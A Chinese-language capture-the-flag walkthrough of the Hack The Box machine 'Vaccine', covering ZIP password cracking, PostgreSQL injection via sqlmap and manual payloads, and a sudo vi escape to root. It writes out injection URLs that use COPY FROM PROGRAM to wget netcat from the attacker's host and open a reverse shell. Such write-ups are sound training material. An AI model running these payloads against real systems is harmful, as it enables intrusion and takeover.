HTB从零到放弃之Vaccine
首先还是nmap
看一看端口
sudo nmap -sT -Pn 10.10.10.46
这里的账号密码在Oopsie
那台靶机中
之后就使用该账号密码登录FTP
下载下来看看,发现压缩包需要密码
接下来可以尝试破解压缩包密码,首先生成压缩包的hash
zip2john backup.zip > hash
接下来使用kali
中自带的字典rockyou.txt.gz
复制出来并用gzip
解压缩
cp /usr/share/wordlists/rockyou.txt.gz /home/pwn/Desktop/pwn/htb/rockyou.txt.gz
gzip -d rockyou.txt.gz
接下来,就可以使用john
来指定字典破解密码了
john hash --fork=4 -w rockyou.txt 2>/dev/null
其中--fork=4
代表指定4
个进程,-w
指定字典路径,2>/dev/null
将错误不显示
于是我们得到了压缩包密码741852963
,解压后有如下文件
代码可知,用户名为admin
,密码通过解密为qwerty789
登录后主页搜索框存在注入
可以通过sqlmap
看到是postgresql
注入
python sqlmap.py -u 'http://10.10.10.46/dashboard.php?search=a' --cookie="PHPSESSID=7ce6tk8tjbi6jipuohfa7vl9p3"
接下来我想着通过注入写入文件
1' ;copy (select '<?php phpinfo();?>') to '/var/www/html/1.php'; -- -
结果发现没有权限
其实这里我有点怀疑官方WP
中的直接利用--os-shell
方法进行Getshell
,因为我觉得条件并不满足,但是这个机器BUG
有点多,查阅资料看到了相关讨论:Machine name: vaccine stuck on getting SQL code execution shell,之后就是看到了Github
上florianges
师傅写的EXP
:-HTB-Vaccine_sql_injection,大致思路如下:
- 本机起一个
Web
服务,提供nc
的下载(这里作者提示Note: The netcat executable hosted on your web server must be GNU netcat (and therefore must not be the netcat from OpenBSD)
) - 本机监听
4444
端口 - 通过注入创建相应的表、字段,从程序中复制数据到这个字段表里,然后后面下载
nc
,赋予nc
执行权限,并且执行反弹shell
命令
相应命令如下
cp /bin/nc.traditional ~/Desktop/nc
python3 -m http.server 80
sudo nc -lvvp 4444
http://10.10.10.46/dashboard.php?search=a';DROP TABLE IF EXISTS cmd_31554; -- -
http://10.10.10.46/dashboard.php?search=a';CREATE TABLE cmd_31554(cmd_output text); -- -
http://10.10.10.46/dashboard.php?search=a';COPY cmd_31554 FROM PROGRAM 'wget -P /tmp/31554 http://10.10.14.108:80/nc'; -- -
http://10.10.10.46/dashboard.php?search=a';COPY cmd_31554 FROM PROGRAM 'chmod 777 /tmp/31554/nc'; -- -
http://10.10.10.46/dashboard.php?search=a';COPY cmd_31554 FROM PROGRAM '/tmp/31554/nc 10.10.14.108 4444 -e /bin/bash'; -- -
接下来接收到shell
这时候我们就获得了第一个flag
(但是提交上去说是错误,其他文章有说交完root
的自动显示正常,我这也并不行)
接下来就是想办法提权了,首先读一下注入页面,看看有没有数据库连接相关信息
cat /var/www/html/dashboard.php
接下来我们还是像之前一样,将我们的shell
改成交互式的,可以用下面两种方法中的任意一种
SHELL=/bin/bash script -q /dev/null
python3 -c "import pty;pty.spawn('/bin/bash')"
获得交互式的shell
之后,我们可以通过如下命令查看一下当前用户的权限
sudo -l
发现用户被允许编辑配置文件/etc/postgresql/11/main/pg_hba.conf
,可以利用vi
并验证密码提权至root
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
输入密码验证后,会出现字符重叠的bug
,直接执行如下命令并回车即可获得root
权限
:!/bin/bash
接下来就是正常读取root
的flag